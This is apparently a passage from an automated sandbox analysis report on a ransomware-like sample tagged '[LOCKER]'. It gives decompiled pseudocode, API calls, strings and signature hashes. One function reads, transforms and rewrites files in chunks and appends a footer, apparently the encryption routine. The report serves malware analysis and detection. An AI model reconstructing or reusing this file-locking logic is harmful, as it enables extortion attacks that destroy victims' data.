				signed int _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v120;
				char _v128;
				char _v140;
				void* __ebp;
				signed int _t67;
				signed int _t68;
				void* _t76;
				void* _t93;
				void* _t94;
				signed char _t104;
				signed int _t106;
				void* _t108;
				void* _t111;
				intOrPtr* _t117;
				void* _t118;
				void* _t168;
				void* _t169;
				signed int _t170;
				void* _t171;
				void* _t172;
				void* _t173;
				void* _t174;

				_t169 = __esi;
				_t168 = __edi;
				_t118 = __ebx;
				_push(0xffffffff);
				_push(E00B10A70);
				_push( *[fs:0x0]);
				_t172 = _t171 - 0x7c;
				_t67 =  *0xb42074; // 0x80d348a2
				_t68 = _t67 ^ _t170;
				_v20 = _t68;
				_push(_t68);
				 *[fs:0x0] =  &_v16;
				if((E00AA7FA0(_a4) & 0x000000ff) == 0) {
					_v57 = 0;
					E00AA1480( &_v24, 4);
					E00AAAE30( &_v24, _a16);
					_t173 = _t172 + 8;
					while(1) {
						_t76 = E00AAAE50( &_v104, _a16);
						_t174 = _t173 + 8;
						if((E00AA6A90( &_v24, _t76) & 0x000000ff) == 0) {
							break;
						}
						_push(0);
						_t108 = E00AA2540( &_v128, 1);
						_t173 = _t174 + 0xc;
						_t111 = E00AAAE70(_t118, E00AA6AF0( &_v24) + 0x18, _t168, _t169, _t108);
						_t181 = _t111;
						if(_t111 != 0) {
							L8:
							E00AA6AD0( &_v24);
							continue;
						} else {
							_v76 = _v24;
							E00AA6C20(_a16, _t181,  &_v108, _v76);
							if((E00AA6BA0(_a16, _t181) & 0x000000ff) == 0) {
								_t117 = E00AAAE30( &_v112, _a16);
								_t173 = _t173 + 8;
								_v24 =  *_t117;
								goto L8;
							}
						}
						break;
					}
					_t159 = _a16;
					_v72 = _a16;
					_v64 = E00AA6C00(_v72);
					_v80 = E00AA6BE0(_v72);
					while(1) {
						__eflags = _v64 - _v80;
						if(_v64 == _v80) {
							break;
						}
						_v84 = _v64;
						_t104 = E00AAAEB0(_v84, _a4);
						_t174 = _t174 + 8;
						_t159 = _t104 & 0x000000ff;
						__eflags = _t104 & 0x000000ff;
						if((_t104 & 0x000000ff) == 0) {
							_t106 = _v64 + 0x20;
							__eflags = _t106;
							_v64 = _t106;
							continue;
						} else {
							_v57 = 1;
						}
						break;
					}
					__eflags = _v57 & 0x000000ff;
					if((_v57 & 0x000000ff) != 0) {
						E00AA24D0(E00AA24D0(E00AA24D0(E00AA1100( &_v66), L"[LOCKER] Already Scan "), _a4), "\n");
					} else {
						E00AA24D0(E00AA24D0(E00AA24D0(E00AA1100( &_v65), L"[LOCKER] Scan "), _a4), "\n");
						E00AA60E0( &_v56);
						E00AA8100( &_v56, _a4);
						_v88 = _a8;
						_v92 = E00AB61C0;
						_v96 = _a12;
						_v100 = E00AB9DE0;
						_t93 = E00AAAED0(__eflags,  &_v140,  &_v92,  &_v88, 0xb247db, 0xb247da);
						_t94 = E00AA1700(_a4);
						_t159 =  &_v120;
						E00AA5A50(E00AAAF20(_t118, _t168, _t169,  &_v120, 1,  &_v100,  &_v96, _t94, _t93));
						E00AA5AC0( &_v120);
						E00AA5FF0(_a16, __eflags, E00AA1700( &_v56));
						E00AA6110( &_v56);
					}
				}
				 *[fs:0x0] = _v16;
				__eflags = _v20 ^ _t170;
				return E00ADA4E2(_t118, _v20 ^ _t170, _t159, _t168, _t169);
			}

0x00aa5d90
0x00aa5d90
0x00aa5d90
0x00aa5d93
0x00aa5d95
0x00aa5da0
0x00aa5da1
0x00aa5da4
0x00aa5da9
0x00aa5dab
0x00aa5dae
0x00aa5db2
0x00aa5dc5
0x00aa5dcb
0x00aa5dd4
0x00aa5de1
0x00aa5de6
0x00aa5df3
0x00aa5dfb
0x00aa5e00
0x00aa5e11
0x00000000
0x00000000
0x00aa5e13
0x00aa5e1b
0x00aa5e20
0x00aa5e31
0x00aa5e36
0x00aa5e38
0x00aa5e78
0x00aa5dee
0x00000000
0x00aa5e3a
0x00aa5e3d
0x00aa5e4b
0x00aa5e5d
0x00aa5e67
0x00aa5e6c
0x00aa5e71
0x00000000
0x00aa5e71
0x00aa5e5d
0x00000000
0x00aa5e38
0x00aa5e7d
0x00aa5e80
0x00aa5e8b
0x00aa5e96
0x00aa5ea4
0x00aa5ea7
0x00aa5eaa
0x00000000
0x00000000
0x00aa5eaf
0x00aa5eba
0x00aa5ebf
0x00aa5ec2
0x00aa5ec5
0x00aa5ec7
0x00aa5e9e
0x00aa5e9e
0x00aa5ea1
0x00000000
0x00aa5ec9
0x00aa5ec9
0x00aa5ec9
0x00000000
0x00aa5ec7
0x00aa5ed5
0x00aa5ed7
0x00aa5fd1
0x00aa5edd
0x00aa5f03
0x00aa5f0b
0x00aa5f17
0x00aa5f1f
0x00aa5f22
0x00aa5f2c
0x00aa5f2f
0x00aa5f4f
0x00aa5f5c
0x00aa5f6f
0x00aa5f7f
0x00aa5f87
0x00aa5f9c
0x00aa5fa4
0x00aa5fa4
0x00aa5ed7
0x00aa5fd9
0x00aa5fe4
0x00aa5fee

APIs

std::ios_base::good.LIBCPMTD ref: 00AA5DBB
Concurrency::details::HardwareAffinity::operator!=.LIBCMTD ref: 00AA5E07
std::_Mutex_base::~_Mutex_base.LIBCONCRTD ref: 00AA5E27

Part of subcall function 00AAAE70: std::make_error_code.LIBCPMTD ref: 00AAAE8E

shared_ptr.LIBCPMTD ref: 00AA5F7F
~.LIBCPMTD ref: 00AA5FA4

Part of subcall function 00AA2540: DName::DName.LIBCMTD ref: 00AA254A

Strings

[LOCKER] Scan , xrefs: 00AA5EE6
[LOCKER] Already Scan , xrefs: 00AA5FB4

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Affinity::operator!=Concurrency::details::HardwareMutex_baseMutex_base::~_NameName::shared_ptrstd::_std::ios_base::goodstd::make_error_code
String ID: [LOCKER] Already Scan $[LOCKER] Scan
API String ID: 1668837174-3324642398
Opcode ID: e9c39dc77dceb885028126c63a01e886b8b0e58a32414ffccebfcfb9e7e9fa1e
Instruction ID: aad64fff130aeb5eb5d86745faf4123c2b15853fe4f6bd8950719ebc8ee408ac
Opcode Fuzzy Hash: e9c39dc77dceb885028126c63a01e886b8b0e58a32414ffccebfcfb9e7e9fa1e
Instruction Fuzzy Hash: 217154B5E00208AFCB18EFA4DE52AEE77B5AF55300F144519F416AB2D1EB70AE04CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00AF380F, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00AF3862
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00AF387B
FindVITargetTypeInstance.LIBVCRUNTIME ref: 00AF3882
PMDtoOffset.LIBCMT ref: 00AF38A1

Strings

Bad dynamic_cast!, xrefs: 00AF38E3

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: f85c4f4ae6ba9d1e4b1d77e6bbd81e8fa37df1465c47e82dc73125f79934a2ad
Instruction ID: 868780097860636b1fc1bd25d882cb1e18a1c1f75c50a4d0541cbe0fe094fab4
Opcode Fuzzy Hash: f85c4f4ae6ba9d1e4b1d77e6bbd81e8fa37df1465c47e82dc73125f79934a2ad
Instruction Fuzzy Hash: 2421E773A04209AFCF14EFE8DA469BE77B4EF54750B148169FA1593181D775EB0086E0

Uniqueness

Uniqueness Score: -1.00%

Function 00AB6370, Relevance: 12.3, APIs: 8, Instructions: 305
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00AB6370(void* __ebx, intOrPtr __ecx, union _LARGE_INTEGER __edx, void* __edi, void* __esi, intOrPtr _a4, void* _a8, struct _OVERLAPPED* _a12) {
				char _v16;
				signed int _v20;
				long _v24;
				union _LARGE_INTEGER* _v28;
				void* _v32;
				union _LARGE_INTEGER* _v36;
				void* _v40;
				union _LARGE_INTEGER* _v44;
				struct _OVERLAPPED* _v48;
				long _v52;
				struct _OVERLAPPED* _v56;
				struct _OVERLAPPED* _v60;
				struct _OVERLAPPED* _v64;
				struct _OVERLAPPED* _v68;
				intOrPtr _v72;
				void _v76;
				char _v100;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				intOrPtr _v136;
				struct _OVERLAPPED* _v140;
				long _v144;
				intOrPtr _v148;
				signed int _v152;
				union _LARGE_INTEGER* _v156;
				struct _OVERLAPPED* _v160;
				union _LARGE_INTEGER* _v164;
				union _LARGE_INTEGER _v168;
				void* __ebp;
				signed int _t132;
				signed int _t133;
				signed int _t139;
				int _t148;
				long _t152;
				void* _t153;
				int _t154;
				void* _t155;
				int _t163;
				signed int _t168;
				signed int _t171;
				signed int _t173;
				void* _t174;
				void* _t179;
				signed char _t180;
				void* _t182;
				int _t183;
				struct _OVERLAPPED* _t185;
				signed int _t241;
				signed int _t270;
				void* _t271;
				void* _t272;

				_t269 = __esi;
				_t268 = __edi;
				_t259 = __edx;
				_t203 = __ebx;
				_push(0xffffffff);
				_push(E00B11670);
				_push( *[fs:0x0]);
				_t272 = _t271 - 0x98;
				_t132 =  *0xb42074; // 0x80d348a2
				_t133 = _t132 ^ _t270;
				_v20 = _t133;
				_push(_t133);
				 *[fs:0x0] =  &_v16;
				_v136 = __ecx;
				if(_a4 != 0 && _a8 != 0xffffffff) {
					_v144 = E00AB6C10(_v136, _a4, 0, 0x2000);
					__eflags = _v144 - 0x2000;
					if(_v144 >= 0x2000) {
						_v48 = 0;
						_v44 = 0;
						_t259 =  &_v48;
						_t139 = _a8;
						__imp__GetFileSizeEx(_t139,  &_v48);
						__eflags = _t139;
						if(_t139 != 0) {
							_v52 = 0;
							_v24 = 0;
							E00AB6E80(__ebx, __edi, __esi, _v144, 0);
							E00AB6E80(__ebx, __edi, __esi, 0x1000000, 0);
							_v32 = 0;
							_v28 = 0;
							_v40 = 0;
							_v36 = 0;
							asm("xorps xmm0, xmm0");
							asm("movlpd [ebp-0x94], xmm0");
							while(1) {
								__eflags = _v148 - _v44;
								if(__eflags > 0) {
									break;
								}
								if(__eflags < 0) {
									L12:
									asm("xorps xmm0, xmm0");
									asm("movlpd [ebp-0x1c], xmm0");
									_push(1);
									_t259 = _a8;
									_t168 = SetFilePointerEx(_a8, _v32, _v28,  &_v40);
									__eflags = _t168;
									if(_t168 != 0) {
										_t171 = ReadFile(_a8, E00AB3BE0( &_v124, 0), 0x1000000,  &_v52, 0);
										__eflags = _t171;
										if(_t171 != 0) {
											_push(0);
											_t259 = _a8;
											_t173 = SetFilePointerEx(_a8, _v40, _v36,  &_v32);
											__eflags = _t173;
											if(_t173 != 0) {
												_v140 = 0;
												while(1) {
													__eflags = _v140 - _v52;
													if(_v140 >= _v52) {
														break;
													}
													_t174 = E00AA8480();
													E00AF16F0(E00AB3BE0( &_v100, 0), _t174 + _v140, 0x2000);
													_t179 = E00AA1700( &_v100);
													_t272 = _t272 + 0x10;
													_t180 = E00AB6CC0(_v136, __eflags, _a4, 0, _t179, 0x2000, _v144);
													_t259 = _t180 & 0x000000ff;
													__eflags = _t180 & 0x000000ff;
													if((_t180 & 0x000000ff) != 0) {
														_t182 = E00AA8480();
														_t259 = _a8;
														_t183 = WriteFile(_a8, _t182, _v144,  &_v24, 0);
														__eflags = _t183;
														if(_t183 != 0) {
															_t185 = _v140 + 0x2000;
															__eflags = _t185;
															_v140 = _t185;
															continue;
														} else {
															_v129 = 0;
															E00AA8540();
															E00AA8540();
														}
													} else {
														_v128 = 0;
														E00AA8540();
														E00AA8540();
													}
													goto L36;
												}
												__eflags = _a12 - 1;
												if(_a12 != 1) {
													_t241 = _v152 + 0x1000000;
													__eflags = _t241;
													asm("adc edx, 0x0");
													_v152 = _t241;
													continue;
												} else {
													break;
												}
											} else {
												_v127 = 0;
												E00AA8540();
												E00AA8540();
											}
										} else {
											_v126 = 0;
											E00AA8540();
											E00AA8540();
										}
									} else {
										_v125 = 0;
										E00AA8540();
										E00AA8540();
									}
								} else {
									__eflags = _v152 - _v48;
									if(_v152 >= _v48) {
										break;
									} else {
										goto L12;
									}
								}
								goto L36;
							}
							_v160 = 0;
							_v156 = 0;
							_v32 = _v160;
							_v28 = _v156;
							_v168.LowPart = 0;
							_v164 = 0;
							_v40 = _v168;
							_v36 = _v164;
							_push(2);
							_t259 = _v32;
							_t148 = SetFilePointerEx(_a8, _v32, _v28,  &_v40);
							__eflags = _t148;
							if(_t148 == 0) {
								L35:
								_v131 = 0;
								E00AA8540();
								E00AA8540();
							} else {
								_t152 = E00AA8020(_v136 + 0x14);
								_t153 = E00AA8480();
								_t259 = _a8;
								_t154 = WriteFile(_a8, _t153, _t152,  &_v24, 0);
								__eflags = _t154;
								if(_t154 == 0) {
									goto L35;
								} else {
									_t155 = E00AA8020(_v136 + 0x14);
									__eflags = _v24 - _t155;
									if(_v24 != _t155) {
										goto L35;
									} else {
										asm("xorps xmm0, xmm0");
										asm("movlpd [ebp-0x48], xmm0");
										_v68 = 0;
										_v64 = 0;
										_v60 = 0;
										_v56 = 0;
										_v76 = _v48;
										_v72 = _v44;
										_v68 = E00AA8020(E00AB2870(0xb469a8));
										_v64 = E00AB6C70(_v136, _a4);
										_v60 = E00AA8020(_v136 + 0x14);
										_v56 = _a12;
										_t259 =  &_v76;
										_t163 = WriteFile(_a8,  &_v76, 0x18,  &_v24, 0);
										__eflags = _t163;
										if(_t163 == 0) {
											goto L35;
										} else {
											__eflags = _v24 - 0x18;
											if(_v24 != 0x18) {
												goto L35;
											} else {
												_v130 = 1;
												E00AA8540();
												E00AA8540();
											}
										}
									}
								}
							}
						} else {
						}
					} else {
					}
				}
				L36:
				 *[fs:0x0] = _v16;
				return E00ADA4E2(_t203, _v20 ^ _t270, _t259, _t268, _t269);
			}

0x00ab6370
0x00ab6370
0x00ab6370
0x00ab6370
0x00ab6373
0x00ab6375
0x00ab6380
0x00ab6381
0x00ab6387
0x00ab638c
0x00ab638e
0x00ab6391
0x00ab6395
0x00ab639b
0x00ab63a5
0x00ab63ca
0x00ab63d0
0x00ab63da
0x00ab63e3
0x00ab63ec
0x00ab63ef
0x00ab63f3
0x00ab63f7
0x00ab63fd
0x00ab63ff
0x00ab6408
0x00ab640f
0x00ab6422
0x00ab6431
0x00ab6436
0x00ab643f
0x00ab6442
0x00ab644b
0x00ab644e
0x00ab6451
0x00ab647c
0x00ab6482
0x00ab6485
0x00000000
0x00000000
0x00ab648b
0x00ab649c
0x00ab649c
0x00ab649f
0x00ab64a4
0x00ab64b2
0x00ab64b6
0x00ab64bc
0x00ab64be
0x00ab64f6
0x00ab64fc
0x00ab64fe
0x00ab651c
0x00ab652a
0x00ab652e
0x00ab6534
0x00ab6536
0x00ab6554
0x00ab6571
0x00ab6577
0x00ab657a
0x00000000
0x00000000
0x00ab6588
0x00ab659f
0x00ab65b7
0x00ab65bc
0x00ab65cc
0x00ab65d1
0x00ab65d4
0x00ab65d6
0x00ab6604
0x00ab660a
0x00ab660e
0x00ab6614
0x00ab6616
0x00ab6566
0x00ab6566
0x00ab656b
0x00000000
0x00ab6618
0x00ab6618
0x00ab661f
0x00ab6627
0x00ab662c
0x00ab65d8
0x00ab65d8
0x00ab65df
0x00ab65e7
0x00ab65ec
0x00000000
0x00ab65d6
0x00ab6639
0x00ab663d
0x00ab6461
0x00ab6461
0x00ab646d
0x00ab6470
0x00000000
0x00ab663f
0x00000000
0x00ab663f
0x00ab6538
0x00ab6538
0x00ab653f
0x00ab6547
0x00ab654c
0x00ab6500
0x00ab6500
0x00ab6507
0x00ab650f
0x00ab6514
0x00ab64c0
0x00ab64c0
0x00ab64c7
0x00ab64cf
0x00ab64d4
0x00ab648d
0x00ab6493
0x00ab6496
0x00000000
0x00000000
0x00000000
0x00000000
0x00ab6496
0x00000000
0x00ab648b
0x00ab6646
0x00ab6652
0x00ab665e
0x00ab6667
0x00ab666a
0x00ab6676
0x00ab6682
0x00ab668b
0x00ab668e
0x00ab6698
0x00ab66a0
0x00ab66a6
0x00ab66a8
0x00ab67a1
0x00ab67a1
0x00ab67a8
0x00ab67b0
0x00ab66ae
0x00ab66bd
0x00ab66cc
0x00ab66d2
0x00ab66d6
0x00ab66dc
0x00ab66de
0x00000000
0x00ab66e4
0x00ab66ed
0x00ab66f2
0x00ab66f5
0x00000000
0x00ab66fb
0x00ab66fb
0x00ab66fe
0x00ab6703
0x00ab670a
0x00ab6711
0x00ab6718
0x00ab6722
0x00ab6728
0x00ab673c
0x00ab674e
0x00ab675f
0x00ab6765
0x00ab6770
0x00ab6778
0x00ab677e
0x00ab6780
0x00000000
0x00ab6782
0x00ab6782
0x00ab6786
0x00000000
0x00ab6788
0x00ab6788
0x00ab678f
0x00ab6797
0x00ab679c
0x00ab6786
0x00ab6780
0x00ab66f5
0x00ab66de
0x00ab6401
0x00ab6401
0x00ab63dc
0x00ab63dc
0x00ab63da
0x00ab67b8
0x00ab67bb
0x00ab67d0

APIs

GetFileSizeEx.KERNEL32(000000FF,00000000,00000000,00000000,00002000,80D348A2), ref: 00AB63F7
SetFilePointerEx.KERNEL32(000000FF,00000000,000000FF,00000000,00000001,01000000,00000000,00002000,00000000), ref: 00AB64B6

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$PointerSize
String ID:
API String ID: 3549600656-0
Opcode ID: d1c386baf190f822878613fdbc946750d19d7dc4f578ec2dbaef62917a43fb8d
Instruction ID: 73f6d09966a380dffc459c3d3446beece2e9986abba9f7a85848a63c73b9c92a
Opcode Fuzzy Hash: d1c386baf190f822878613fdbc946750d19d7dc4f578ec2dbaef62917a43fb8d
Instruction Fuzzy Hash: 49D13B70D10209DBDF14DFA4C995BEEB7B9BF59304F608159E509A7282EF389A44CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00B07892, Relevance: 12.2, APIs: 8, Instructions: 204
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00B07892(signed int __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v48;
				signed int _t59;
				signed int _t62;
				signed int _t64;
				signed int _t67;
				signed int _t68;
				signed int _t71;
				signed int _t72;
				signed int _t76;
				signed int* _t78;
				signed int _t84;
				signed int _t86;
				signed int _t87;
				signed int _t91;
				signed int _t97;
				intOrPtr* _t98;
				signed int _t108;
				signed int _t109;
				signed int _t110;
				signed int _t111;
				void* _t116;
				intOrPtr* _t120;
				signed int _t121;
				void* _t122;
				void* _t126;
				signed int _t130;
				signed int _t138;
				signed int _t139;
				signed int _t141;
				signed int _t143;
				signed int _t146;
				signed int _t149;
				signed int _t150;
				void* _t153;
				void* _t157;
				void* _t158;
				void* _t160;
				void* _t162;

				_t110 = __ebx;
				_t153 = _t157;
				_t158 = _t157 - 0x10;
				_t146 = _a4;
				if(_t146 != 0) {
					_push(__ebx);
					_t141 = _t146;
					_t59 = E00B100C0(_t146, 0x3d);
					_v20 = _t59;
					_pop(_t116);
					__eflags = _t59;
					if(_t59 == 0) {
						L38:
						 *((intOrPtr*)(E00AF654C())) = 0x16;
						goto L39;
					} else {
						__eflags = _t59 - _t146;
						if(_t59 == _t146) {
							goto L38;
						} else {
							_v5 =  *((intOrPtr*)(_t59 + 1));
							L60();
							_t110 = 0;
							__eflags =  *0xb46508 - _t110; // 0xf9efd8
							if(__eflags != 0) {
								L14:
								_t64 =  *0xb46508; // 0xf9efd8
								_v12 = _t64;
								__eflags = _t64;
								if(_t64 == 0) {
									goto L39;
								} else {
									_t67 = E00B07B9E(_t146, _v20 - _t146);
									_v16 = _t67;
									_t120 = _v12;
									__eflags = _t67;
									if(_t67 < 0) {
										L24:
										__eflags = _v5 - _t110;
										if(_v5 == _t110) {
											goto L40;
										} else {
											_t68 =  ~_t67;
											_v16 = _t68;
											_t30 = _t68 + 2; // 0x2
											_t139 = _t30;
											__eflags = _t139 - _t68;
											if(_t139 < _t68) {
												goto L39;
											} else {
												__eflags = _t139 - 0x3fffffff;
												if(_t139 >= 0x3fffffff) {
													goto L39;
												} else {
													_push(4);
													_push(_t139);
													_v12 = E00B07BFE(_t120);
													E00B00B7F(_t110);
													_t71 = _v12;
													_t158 = _t158 + 0x10;
													__eflags = _t71;
													if(_t71 == 0) {
														goto L39;
													} else {
														_t121 = _v16;
														_t141 = _t110;
														 *(_t71 + _t121 * 4) = _t146;
														 *(_t71 + 4 + _t121 * 4) = _t110;
														goto L29;
													}
												}
											}
										}
									} else {
										__eflags =  *_t120 - _t110;
										if( *_t120 == _t110) {
											goto L24;
										} else {
											E00B00B7F( *((intOrPtr*)(_t120 + _t67 * 4)));
											_t138 = _v16;
											__eflags = _v5 - _t110;
											if(_v5 != _t110) {
												_t141 = _t110;
												 *(_v12 + _t138 * 4) = _t146;
											} else {
												_t139 = _v12;
												while(1) {
													__eflags =  *((intOrPtr*)(_t139 + _t138 * 4)) - _t110;
													if( *((intOrPtr*)(_t139 + _t138 * 4)) == _t110) {
														break;
													}
													 *((intOrPtr*)(_t139 + _t138 * 4)) =  *((intOrPtr*)(_t139 + 4 + _t138 * 4));
													_t138 = _t138 + 1;
													__eflags = _t138;
												}
												_push(4);
												_push(_t138);
												_v16 = E00B07BFE(_t139);
												E00B00B7F(_t110);
												_t71 = _v16;
												_t158 = _t158 + 0x10;
												__eflags = _t71;
												if(_t71 != 0) {
													L29:
													 *0xb46508 = _t71;
												}
											}
											__eflags = _a8 - _t110;
											if(_a8 == _t110) {
												goto L40;
											} else {
												_t122 = _t146 + 1;
												do {
													_t72 =  *_t146;
													_t146 = _t146 + 1;
													__eflags = _t72;
												} while (_t72 != 0);
												_v16 = _t146 - _t122 + 2;
												_t149 = E00B00B22(_t122, _t146 - _t122 + 2, 1);
												_pop(_t124);
												__eflags = _t149;
												if(_t149 == 0) {
													L37:
													E00B00B7F(_t149);
													goto L40;
												} else {
													_t76 = E00B00128(_t149, _v16, _a4);
													_t160 = _t158 + 0xc;
													__eflags = _t76;
													if(__eflags != 0) {
														_push(_t110);
														_push(_t110);
														_push(_t110);
														_push(_t110);
														_push(_t110);
														E00AF527C();
														asm("int3");
														_push(_t153);
														_push(_t141);
														_t143 = _v48;
														__eflags = _t143;
														if(_t143 != 0) {
															_t126 = 0;
															_t78 = _t143;
															__eflags =  *_t143;
															if( *_t143 != 0) {
																do {
																	_t78 =  &(_t78[1]);
																	_t126 = _t126 + 1;
																	__eflags =  *_t78;
																} while ( *_t78 != 0);
															}
															_t51 = _t126 + 1; // 0x2
															_t150 = E00B00B22(_t126, _t51, 4);
															_t128 = _t149;
															__eflags = _t150;
															if(_t150 == 0) {
																L58:
																E00AFB891(_t110, _t128, _t139, _t150);
																goto L59;
															} else {
																_t130 =  *_t143;
																__eflags = _t130;
																if(_t130 == 0) {
																	L56:
																	E00B00B7F(0);
																	_t86 = _t150;
																	goto L57;
																} else {
																	_push(_t110);
																	_t110 = _t150 - _t143;
																	__eflags = _t110;
																	do {
																		_t52 = _t130 + 1; // 0x5
																		_t139 = _t52;
																		do {
																			_t87 =  *_t130;
																			_t130 = _t130 + 1;
																			__eflags = _t87;
																		} while (_t87 != 0);
																		_t53 = _t130 - _t139 + 1; // 0x6
																		_v12 = _t53;
																		 *(_t110 + _t143) = E00B00B22(_t130 - _t139, _t53, 1);
																		E00B00B7F(0);
																		_t162 = _t160 + 0xc;
																		__eflags =  *(_t110 + _t143);
																		if( *(_t110 + _t143) == 0) {
																			goto L58;
																		} else {
																			_t91 = E00B00128( *(_t110 + _t143), _v12,  *_t143);
																			_t160 = _t162 + 0xc;
																			__eflags = _t91;
																			if(_t91 != 0) {
																				L59:
																				_push(0);
																				_push(0);
																				_push(0);
																				_push(0);
																				_push(0);
																				E00AF527C();
																				asm("int3");
																				_t84 =  *0xb46508; // 0xf9efd8
																				__eflags = _t84 -  *0xb46514; // 0xf9efd8
																				if(__eflags == 0) {
																					_push(_t84);
																					L43();
																					 *0xb46508 = _t84;
																					return _t84;
																				}
																				return _t84;
																			} else {
																				goto L54;
																			}
																		}
																		goto L63;
																		L54:
																		_t143 = _t143 + 4;
																		_t130 =  *_t143;
																		__eflags = _t130;
																	} while (_t130 != 0);
																	goto L56;
																}
															}
														} else {
															_t86 = 0;
															L57:
															return _t86;
														}
													} else {
														asm("sbb eax, eax");
														 *(_v20 + 1 + _t149 - _a4 - 1) = _t110;
														_t97 = E00B06477(_t139, __eflags, _t149,  ~_v5 & _v20 + 0x00000001 + _t149 - _a4);
														__eflags = _t97;
														if(_t97 == 0) {
															_t98 = E00AF654C();
															_t111 = _t110 | 0xffffffff;
															__eflags = _t111;
															 *_t98 = 0x2a;
														}
														goto L37;
													}
												}
											}
										}
									}
								}
							} else {
								__eflags = _a8;
								if(_a8 == 0) {
									L9:
									__eflags = _v5 - _t110;
									if(_v5 != _t110) {
										 *0xb46508 = E00B00B22(_t116, 1, 4);
										E00B00B7F(_t110);
										_t158 = _t158 + 0xc;
										__eflags =  *0xb46508 - _t110; // 0xf9efd8
										if(__eflags == 0) {
											L39:
											_t111 = _t110 | 0xffffffff;
											__eflags = _t111;
											goto L40;
										} else {
											__eflags =  *0xb4650c - _t110; // 0x0
											if(__eflags != 0) {
												goto L14;
											} else {
												 *0xb4650c = E00B00B22(_t116, 1, 4);
												E00B00B7F(_t110);
												_t158 = _t158 + 0xc;
												__eflags =  *0xb4650c - _t110; // 0x0
												if(__eflags == 0) {
													goto L39;
												} else {
													goto L14;
												}
											}
										}
									} else {
										_t111 = 0;
										L40:
										E00B00B7F(_t141);
										_t62 = _t111;
										goto L41;
									}
								} else {
									__eflags =  *0xb4650c - _t110; // 0x0
									if(__eflags == 0) {
										goto L9;
									} else {
										_t108 = L00AFE2F6(0, _t139);
										__eflags = _t108;
										if(_t108 == 0) {
											goto L38;
										} else {
											L60();
											goto L14;
										}
									}
								}
							}
						}
					}
				} else {
					_t109 = E00AF654C();
					 *_t109 = 0x16;
					_t62 = _t109 | 0xffffffff;
					L41:
					return _t62;
				}
				L63:
			}

0x00b07892
0x00b07895
0x00b07897
0x00b0789b
0x00b078a0
0x00b078b5
0x00b078ba
0x00b078bc
0x00b078c1
0x00b078c5
0x00b078c6
0x00b078c8
0x00b07aa9
0x00b07aae
0x00000000
0x00b078ce
0x00b078ce
0x00b078d0
0x00000000
0x00b078d6
0x00b078d9
0x00b078dc
0x00b078e1
0x00b078e3
0x00b078e9
0x00b07966
0x00b07966
0x00b0796b
0x00b0796e
0x00b07970
0x00000000
0x00b07976
0x00b0797d
0x00b07982
0x00b07987
0x00b0798a
0x00b0798c
0x00b079dd
0x00b079dd
0x00b079e0
0x00000000
0x00b079e6
0x00b079e6
0x00b079e8
0x00b079eb
0x00b079eb
0x00b079ee
0x00b079f0
0x00000000
0x00b079f6
0x00b079f6
0x00b079fc
0x00000000
0x00b07a02
0x00b07a02
0x00b07a04
0x00b07a0c
0x00b07a0f
0x00b07a14
0x00b07a17
0x00b07a1a
0x00b07a1c
0x00000000
0x00b07a22
0x00b07a22
0x00b07a25
0x00b07a27
0x00b07a2a
0x00000000
0x00b07a2a
0x00b07a1c
0x00b079fc
0x00b079f0
0x00b0798e
0x00b0798e
0x00b07990
0x00000000
0x00b07992
0x00b07995
0x00b0799b
0x00b0799e
0x00b079a1
0x00b079d6
0x00b079d8
0x00b079a3
0x00b079a3
0x00b079b0
0x00b079b0
0x00b079b3
0x00000000
0x00000000
0x00b079ac
0x00b079af
0x00b079af
0x00b079af
0x00b079b5
0x00b079b7
0x00b079bf
0x00b079c2
0x00b079c7
0x00b079ca
0x00b079cd
0x00b079cf
0x00b07a2e
0x00b07a2e
